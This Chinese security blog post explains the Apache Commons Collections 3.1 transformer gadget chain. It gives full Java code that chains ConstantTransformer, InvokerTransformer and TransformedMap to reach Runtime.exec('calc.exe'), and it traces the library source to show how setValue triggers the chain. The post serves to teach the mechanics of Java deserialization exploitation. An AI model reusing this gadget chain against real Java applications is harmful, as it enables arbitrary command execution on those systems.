初探CC链

这里先放出完整的代码和commons-collections的版本
 1 import org.apache.commons.collections.functors.ChainedTransformer;
 2 import org.apache.commons.collections.functors.ConstantTransformer;
 3 import org.apache.commons.collections.functors.InvokerTransformer;
 4 import org.apache.commons.collections.map.TransformedMap;
 5 import org.apache.commons.collections.Transformer;
 6 import java.io.IOException;
 7 import java.lang.reflect.InvocationTargetException;
 8 import java.util.HashMap;
 9 import java.util.Map;
10 
11 public class ExecTest {
12     public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
13         Transformer[] transformers = new Transformer[]{
14                 new ConstantTransformer(Runtime.class),
15                 new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
16                 new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{"null",new Object[0]}),
17                 new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
18         };
19         Transformer transformerChain = new ChainedTransformer(transformers);
20         Map innerMap = new HashMap();
21         innerMap.put("key","value");
22         Map outerMap = TransformedMap.decorate(innerMap,null,transformerChain);
23         Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
24         System.out.println(onlyElement);
25         onlyElement.setValue("hahaha");
26     }
27 }
28 // maven依赖
29 <dependency>
30     <groupId>commons-collections</groupId>
31     <artifactId>commons-collections</artifactId>
32     <version>3.1</version>
33 </dependency>

 

 
 **********************************************************************************************************************************************************************************************************************************************************************************
分析 ConstantTransformer
 1 public ConstantTransformer(Object constantToReturn) {
 2     this.iConstant = constantToReturn;
 3 }
 4 //把我们传入的对象赋值给this.iConstant
 5 
 6 
 7 public Object transform(Object input) {
 8     return this.iConstant;
 9 }
10 //执行 transform(Object input) 会返回this.iConstant

 

 
 **********************************************************************************************************************************************************************************************************************************************************************************
 
分析InvokerTransformer
 1 public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
 2     this.iMethodName = methodName;
 3     this.iParamTypes = paramTypes;
 4     this.iArgs = args;
 5 }
 6 //三个参数分别为:方法名称、形参、实参
 7 
 8 
 9 public Object transform(Object input) {
10     if (input == null) {
11         return null;
12     } else {
13         try {
14             Class cls = input.getClass();
15             Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
16             return method.invoke(input, this.iArgs);
17         } catch (NoSuchMethodException var5) {
18             throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
19         } catch (IllegalAccessException var6) {
20             throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
21         } catch (InvocationTargetException var7) {
22             throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
23         }
24     }
25 }
26 
27 //这里用到了反射的知识。
28 //根据传入的input得到对应的类cls
29 Class cls = input.getClass();
30 
31 //传入方法的名称和形参得到对应的方法
32 Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
33 
34 //传入对象,实参,调用该方法
35 return method.invoke(input, this.iArgs);

 

 

 **********************************************************************************************************************************************************************************************************************************************************************************
分析ChainedTransformer
 1 public ChainedTransformer(Transformer[] transformers) {
 2     this.iTransformers = transformers;
 3 }
 4 //给this.iTransformers赋值
 5 
 6 public Object transform(Object object) {
 7     for(int i = 0; i < this.iTransformers.length; ++i) {
 8         object = this.iTransformers[i].transform(object);
 9     }
10 
11     return object;
12 }
13 //1.这里是把链子串起来的关键。
14 //2.循环遍历iTransformers,把上一个iTransformers[i].transform(object)的返回值作为下一个iTransformers[i].transform(object)的参数。
15 //3.只要触发了这个方法就能成功执行payload,后面我们就要想办法让程序执行这个方法。

 

 这里列出执行过程,帮助理解
 1 //第一次循环
 2 Class cls1= Runtime.class;
 3 
 4 //第二次循环
 5 Class cls2 = cls1.getClass();
 6 Method m1 = cls2.getMethod("getMethod",new Class[]{String.class,Class[].class});
 7 Object o1 = m1.invoke(cls1,new Object[]{"getRuntime",new Class[0]});
 8 
 9 //第三次循环
10 Class cls3 = o1.getClass();
11 Method m2 = cls3.getMethod("invoke",new Class[]{Object.class,Object[].class});
12 Object o2 = m2.invoke(o1,new Object[]{"null",new Object[0]});
13 
14 //第四次循环
15 Class cls4 = o2.getClass();
16 Method m3 = cls4.getMethod("exec",new Class[]{String.class});
17 Object o3 = m3.invoke(o2,new Object[]{"calc.exe"});
18 
19 //等价于
20 Runtime.getRuntime().exec("calc");

 

 

 **********************************************************************************************************************************************************************************************************************************************************************************
1 Map innerMap = new HashMap(); // 实例化一个HashMap对象
2 innerMap.put("key","value");  // 给这个Map里添加一个键值对
3 Map outerMap = TransformedMap.decorate(innerMap,null,transformerChain);
4 // outerMap.map = innerMap,     outerMap.keyTransformer = null
5 // outerMap.ValueTransformer = transformerChain
这里咱们来追踪一下decorate方法:
 
1.点进decorate,看到它返回的是TransformedMap对象。
0
 
2.找到TransformedMap的构造方法,可以看到给this.keyTransformer和this.ValueTransformer进行了复制。此时我们看到了super(map)说明map参数是在父类的方法里处理的。
0
 
3.点进super,发现这里还是super(map)。
0
 
4.继续点进super,我们成功找到了处理map的方法,可以看到如果传入的map为空的话就会抛出一个异常,这就是为什么要执行innerMap.put("key","value");的原因。
如果map不为空的话,就将传入的map赋值给当前对象的map。
0
 
 
 
**********************************************************************************************************************************************************************************************************************************************************************************
1 Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
2 // 取出outerMap.map的最后一个键值对
3 onlyElement.setValue("hahaha");
4 // setValue可以触发前面ChainedTransformer的transform方法
我们现在来追踪一下setValue的调用过程:
 
1.点进setValue,发现setValue是Map的一个接口
0
 
2.onlyElement是来自TransformedMap的,所以我们点进TransformedMap寻找setValue方法。CTRL+F查找setValue方法,没有找到,说明该方法可能是在父类实现的。
0
 
3.点进TransformedMap的父类AbstractInputCheckedMapDecorator。成功找到setValue方法。这里我们关注checkSetValue。
0
 
4.跟进checkSetValue,发现这是一个抽象方法,说明其实现的地方是在子类。
0
 
5.AbstractInputCheckedMapDecorator的子类就是TransformedMap方法,所以我们回到TransformedMap方法成功找到checkValue方法。可以看到在这个方法里执行了this.valueTransformer.transform(value)。到这里,我们的命令就可以成功执行。
0
 
posted @ 2022-03-28 21:28  akunda  阅读(225)  评论(0)    收藏  举报